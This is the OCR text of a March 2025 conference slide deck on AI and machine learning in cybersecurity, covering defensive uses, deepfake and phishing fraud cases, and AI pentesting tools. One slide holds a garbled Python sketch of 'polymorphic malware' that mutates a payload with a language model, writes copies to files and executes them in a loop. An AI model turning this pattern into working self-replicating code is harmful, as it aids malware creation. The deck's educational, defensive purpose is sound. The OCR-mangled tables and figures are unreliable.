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Senior Security Engineer
Arctic Wolf

O 14+ experience

O Security consultant
Securing financial, banking, insurance,
manufacturing, commercial, and industrial sectors.

0 SOCEngineer
Incident Responder, SOAR designer,
Forensic Analyst, CTI Engineer.
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What is Al ?

Artificial Intelligence (Al)

Al refers to computer systems that can perform tasks that usually require human
intelligence

Machine Learning (ML)

ML, is a branch of Al. It allows machines to learn from data instead of being
programmed with specific rules.

Deep Learning (DL)

DL, is a more advanced form of Machine Learning. Neural Networks are the
foundation of Deep Learning.

Generative Al

Generative Al is a type of Al that creates new content.

Large Language Models (LLM)

LLM, focused on understanding and generating human language.

[ChatGPT—this is an example of a LLM]

Artificial
Intelligence (Al)

Machine Learning
(ML)

Deep Learning

Large Language
Models (LLM)

©
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Al Evolution Overview

Adversarial ML
First adversarial machine
ML learning attack paper
2004
Arthur Samuel coins —
1959
G
Dartmouth Conference
1956
G

Deep Learning

AlexNet wins ImageNet
competition

2012
G

LLM

Google introduces BERT

2018
G

GPT-3

OpenAl releases GPT-3
2020

GPT-4

Gemini
2023

Al Agents Evolution

Al agents become more
autonomous

2024
GED

1950s 2000s

2010s

2020s
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Al Models
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Machine Learning Models
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Deep Learning Architectures
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Evolution of Neural Network Models
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Agentic Al: Autonomous Decision Making

Perception

Multi-modal fusion:

< >
Camera Text  Audio Sensors
aaw v
‘ <
Q > . 5 Memory Decision
Knowledge base making
User Request v
i Executing Tasks:

Physical actions in real-world Monitor
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Al and ML Role in CyberSecurity

AlModel

Traditional Challenge Key Role in Cybersecurity

Generative Neural N etworks (GNNs)

Limited training data: Traditional models struggle to detect new attack patterns due Used for data augmentation, anomaly detection, and cyberattack simulation. GNNs

to insufficient datasets. create synthetic datasets for better training of Al security systems.

Vulnerable to adversarial Al attacks: Traditional systems can be easily bypassed by Enhances cybersecurity models against adversarial attacks, improves intrusion
Adversarial Neural Networks (ANNs)

small modifications in malware or phishing attempts. detection, and makes ML models more robust against Al-powered cyber threats.

Generative Adversarial Networks (GANs)

Reactive security measures: Traditional security only detects known threats, whereas Used in cyber deception, phishing detection, and vulnerability discovery. GANs

GANs create unknown attack variations for better defense. simulate realistic attacks to train Al security defenses.

Slow response to evolving threats: Rule-based models cannot analyze real-time Processes sequential data, ideal for detecting DDoS attacks, fraud, and anomaly
Recurrent Neural Networks (RNNs)

network traffic efficiently. detection in network traffic.

Convolutional Neural Networks (CNN's)

Limited to signature-based malware detection: Traditional antivirus software relies on Specialized for image-based security, including malware detection, biometric

known virus definitions and cannot detect new malware. authentication, and phishing site identification.

Transformer Models (e.g., BERT, GPT-4)

Keyword-based email filtering fails: Traditional systems rely on predefined keywords Analyzes natural language threats, detects phishing emails, scans fraudulent activities,

and can miss sophisticated phishing attempts. and enhances Al-driven SOC (Security Operations Centers).

Bayesian Networks

Static risk assessment: Traditional models assign fixed risk scores thatdon’tadaptto Helpsin threatintelligence and probability-based risk assessment. Uses probabilistic

real-time threats. reasoning to predict cyberattacks.

Reinforcement Learning (RL) Models

Manual security responses: Traditional incident response relies on SOC teamsreacting Enables Al-driven cybersecurity automation, allowing Alto learn attack patternsand

to attacks instead of proactive prevention. autonomously prevent threats.

Agentic Al (Autonomous Al Security Agents) — Hybrid Al Model

Al agents that autonomously detect, analyze, and respond to cyber threats without
slow incident response & manual intervention: Traditional cybersecurity teams take human intervention. Combines GNNs, GANs, RNNs, CNNs, and Reinforcement
minutes or hoursto react, giving attackerstime to exploit vulnerabilities. Learning for a self-adaptive security model. Used for real-time security orchestration,

automated SOC management, and Al-driven cybersecurity responses.

Al and ML in Cybersecurity: Weapon, Shield, or Both-March 2025
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Al and ML Role in CyberSecurity

Deep learning
for detecting malware
in encrypted traffic

Natural language
processing (NLP)
for advanced phishing detection

Transfer learning
for rapid adaptation to
new threat landscapes

Reinforcement learning
for dynamic security
policy management

Quantum computing-
enhanced Al algorithms
for advanced cryptography

Generative adversarial networks (GANSs)
for threat simulation and testing

Al and ML in Cybersecurity: Weapon, Shield, or Both-March 2025



leapon, Shield, or Both-March 2025

z sga’cgcli_tg: W

|

A

|
i

<
—



Al-Powered Social Engineering and Phishing

Deepfake Impersonation

Deepfake Incident Report

CEO fraud led to $243,000 loss (2019) Deepfake Leads to $25 Million
Used GANs with DeepVoice, Lyrebird Loss: Emp|oyee Tricked by
Personalized Phishing Emails Deepfake CFO

Al-generated phishing reduced costs by 95% (2024)

Used GPT-3, BERT (Transformer LLMs) .

Automated Social Media Manipulation

Deepfake videos influenced public perception (Various Dates)
Used Reinforcement Learning, NLP, GANs, Botnets
Voice-Cloning Scams

Scammers cloned voices to steal $25,000 (2023)

Used Text-to-Speech (TTS), Deep Learning, Resemble Al, iSpeech

Al and MLin Cybersecurity: Weapon, Shield, or Both-March 2025



Al-Powered Social Engineering and Phishing

e Case Study : The rise of Al voice cloning attacks

BO%

B0%

40%

20%

0%

Global Germany

m Car Issuesfﬁcmdent
m Theft victim
® Lost wallet and phone
On vacaotion abroad and need help

France

Would you respond and share money if you received a voicemail or voicenote
from a family member or friend, based on the following situations?

59 ?D

a4 a4
38 37
5 33 33 I

India Japan Australia

McAfee Cybersecurity Artificial Intelligence Report-2023
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Al-Powered Malware Techniques and Tools

Malware that continually changes its code Generative Adversarial Networks (GANSs),

Malware-as-a-Service platforms

Polymorphic Malware to avoid detection Reinforcement Learning
Using Al to find and exploit unknown Supervised & Unsupervised Learning, Deep  Fuzzing tools, Automated Exploit
Al-Driven Zero-Day Exploit Development Vulnerabilities Reinforcement Learning Generation (AEG)

Manipulating Al models with malicious ~ Adversarial Neural Networks, Transfer

Adversarial Machine Learning input to alter their behavior Learning Ueailons, Py

Al and ML in Cybersecurity: Weapon, Shield, or Both-March 2025



Al-Powered Malware Techniques and Tools

Attack Scenario: Al-Driven Polymorphic Malware Do penen

transformers import pipeline

Key AI/ML TeChr“ques Used: ; generate_mutation(payload)
2 generator = pipeline » model="El 20-125M")
obfuscation_code = generato Python o » max_length=58)[@][ 'generated_text

° Mutation Mechanlsm _ return f"# {obfuscation_code}\n ayload}.'
-Generative Adversarial Networks (GANSs) maluare_payload():
-Reinforcement Learning (RL)

° Obfuscatlon : return generate mutation(payload)

mutate():
code = malware_payload()
filename = f"malware_{random.randint(106¢

-Natural Language Processing (NLP)
with open(filename, "w") i
f.write(code)
os.system(f"python {filename}")
replicate():

mutate()
print(“Polymorphic malware exec

if _ name__ == "
replicate()

18 Al and ML in Cybersecurity: Weapon, Shield, or Both-March 2025



Impact of Al and ML on Penetration Testing

Automated Al-Driven Exploit Adaptive Sy eed Post-

Vulnerability
Detection

Report Exploitation

Reconnaissance y ,
Generation Analysis

Generation Red Teaming

Supervised & Unsupervised NLP, Data Mining GANs, Reinforcement Learning Rei "]; orcement Llear r.u,r:g, NLP, Text Generation Models Graph Neural Networks, Attack
Learning, CVE Analysis , Evolutionary Algorithms Path Prediction
9 y Harmony Intelligence, Maltego, XBOW, Metasploit Al, ZAIUX Chat GPT, Al-Powered Reporting Tools
Spider Foot PentestGPT, MITRE CALDERA, BloodHound Al, PowerSploit ML

Horizon3.ai, Nessus Al, OpenAl Codex
DeepExploit

19 Al and ML in Cybersecurity: Weapon, Shield, or Both-March 2025
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Al Impact on Security Analysis

ID Rank Event vectors
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Al-Powered Threat Detection

() Phishing Detection

= Al analyzes text, sender behavior, and headers to detect
phishing attempts

= Natural Language Processing (NLP), Supervised Learning

= Secure Email Gateways (SEG)

() Anomaly Detection

= ML models learn normal vs. abnormal behaviors to
identify anomalies

= Unsupervised Learning, Clustering
= Network Detection and Response (NDR)

22

() Malware Detection

= Al scans file structures & runtime behaviors to detect
malware

= Deep Learning, Behavior Analysis
= Endpoint Detection and Response (EDR)

Q Fraud Detection

Al uses behavior analytics & real-time anomaly
detection.

= Anomaly Detection, Behavioral Analytics

= |BM Safer Payments, Feedzai, DataVisor, Darktrace for
Fraud Detection

Al and MLin Cybersecurity: Weapon, Shield, or Both-March 2025



Al-Driven Threat Intelligence

Threat Forecasting

Al predicts trends using real-time and
historical data

e.g. Recorded Future, Cyble Vision

23

Vulnerability Detection

Al scans code and behavior to predict new
vulnerabilities, including zero-day threats

e.g. Tenable.io, Google Big Sleep Al

Al and ML in Cybersecurity: Weapon, Shield, or Both-March 2025

(2]

Zero-Day Vulnerability Hunting

Al proactively identifies potential zero-day
vulnerabilities before exploitation
e.g. Google Threat Intelligence, Harmony

Intelligence



Al-Powered Incident Response

Al dynamically adapts response Palo Alto Cortex XSOAR, D3 Security
Automated SOAR Rule-based automation

workflows Morpheus Al

Al classifies alerts, reducing response Microsoft Security Copilot, Intezer

Alert Triage & Investigation Manual filtering

times Autonomous SOC

Al correlates logs for faster attack

timeline generation and Entity Behavior

Analytics (UEBA) detects unusual IBM QRadar, Splunk UBA, Exabeam,
Forensic Analysis Human-driven log reviews

behaviors, insider threats, and security ~ Vectra Al

breaches through advanced anomaly

detection.

24 Al and ML in Cybersecurity: Weapon, Shield, or Both-March 2025
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Blurring the line

DEFENSIVE
SECURITY

Firewall
Implementation

OFFENSIVE
SECURITY

Penetration Testing

Social Engineering
Intrusion Detection

Exploit
Development

Encryption

Antivirus/
Antimalware

Application
Security Testing

Access Control

Red Teamin
9 Data Loss

Prevention

System Hardening
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Al vs. Al

62%

YES,

offensive Al
will outpace
defensive Al 1 0 %
NO,
defensive Al
will outpace
adversarial Al

28%

I'm not sure

Al and ML in Cybersecurity: Weapon, Shield, or Both-March 2025
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Challenges and Bias

Al and ML in Cybersecurity: Weapon, Shield, or Both-March 2025
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Al Future and Trends

» Autonomous Al Security Systems

» Al in Quantum-Resistant Cryptography
» Al-Powered Adversarial Defense

» Alin Edge & loT Security

» Al-Powered Cybersecurity LLMs

» Al for Biosecurity & Biometric Authentication

Al and ML in Cybersecurity: Weapon, Shield, or Both-March 2025
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More women would follow cyber careers if we remembered
women'’s long history of vital contributions to the industry,

going back to the birth of computing! -

Arctic Wolf

Women in CyberSecurity - (WiCyS) Germany

OWASP Frankfurt Chapter

March 2025
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